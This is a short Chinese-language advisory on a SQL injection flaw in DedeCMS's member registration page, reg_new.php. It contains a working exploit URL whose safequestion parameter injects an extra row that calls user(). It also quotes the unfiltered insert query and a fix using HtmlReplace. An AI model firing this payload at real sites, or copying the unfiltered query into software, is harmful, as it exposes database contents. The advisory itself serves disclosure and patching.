dedecms织梦 /member/reg_new.php SQL注入漏洞

发布人:织梦97 时间:2018-09-06 人气:1692

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1. 漏洞描述

Dedecms会员中心注入漏洞

2. 漏洞触发条件

/member/reg_new.php?dopost=regbase&step=1&mtype=%B8%F6%C8%CB&mtype=%B8%F6%C8%CB&userid=123asd123&uname=12asd13123&userpwd=123123&userpwdok=123123&email=1213asd123%40QQ.COM&safequestion=1','1111111111111','1389701121','127.0.0.1','1389701121','127.0.0.1'),('个人',user(),'4297f44b13955235245b2497399d7a93','12as11111111111111111d13123','','10','0','1213asd11111111111123@QQ.COM','100', '0','-10','','1&safeanswer=1111111111111&sex=&vdcode=slum&agree=

//把vdcode=slum改成当前的验证码

3. 漏洞影响范围

4. 漏洞代码分析

/member/reg_new.php

..

$jointime = time();

$logintime = time();

$joinip = GetIP();

$loginip = GetIP();

$pwd = md5($userpwd);

$spaceSta = ($cfg_mb_spacesta < 0 ? $cfg_mb_spacesta : 0);

//未对$mtype、$safeanswer、$safequestion进行有效过滤就带入SQL查询

$inQuery = "INSERT INTO `dede_member` (`mtype` ,`userid` ,`pwd` ,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` ,

`matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime` ,`joinip` ,`logintime` ,`loginip` )

VALUES ('$mtype','$userid','$pwd','$uname','$sex','10','$dfmoney','$email','$dfscores',

'0','$spaceSta','','$safequestion','$safeanswer','$jointime','$joinip','$logintime','$loginip'); ";

if($dsql->ExecuteNoneQuery($inQuery))

..

5. 防御方法

/member/reg_new.php

查看源码

打印代码帮助

..

$jointime = time();

$logintime = time();

$joinip = GetIP();

$loginip = GetIP();

$pwd = md5($userpwd);

/* 对$mtype、$safeanswer、$safequestion进行有效过滤 */

$mtype = HtmlReplace($mtype,1);

$safeanswer = HtmlReplace($safeanswer);

$safequestion = HtmlReplace($safequestion);

/* */

$spaceSta = ($cfg_mb_spacesta < 0 ? $cfg_mb_spacesta : 0);

$inQuery = "INSERT INTO `dede_member` (`mtype` ,`userid` ,`pwd` ,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` ,

`matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime` ,`joinip` ,`logintime` ,`loginip` )

VALUES ('$mtype','$userid','$pwd','$uname','$sex','10','$dfmoney','$email','$dfscores',

'0','$spaceSta','','$safequestion','$safeanswer','$jointime','$joinip','$logintime','$loginip'); ";

if($dsql->ExecuteNoneQuery($inQuery))

{

..

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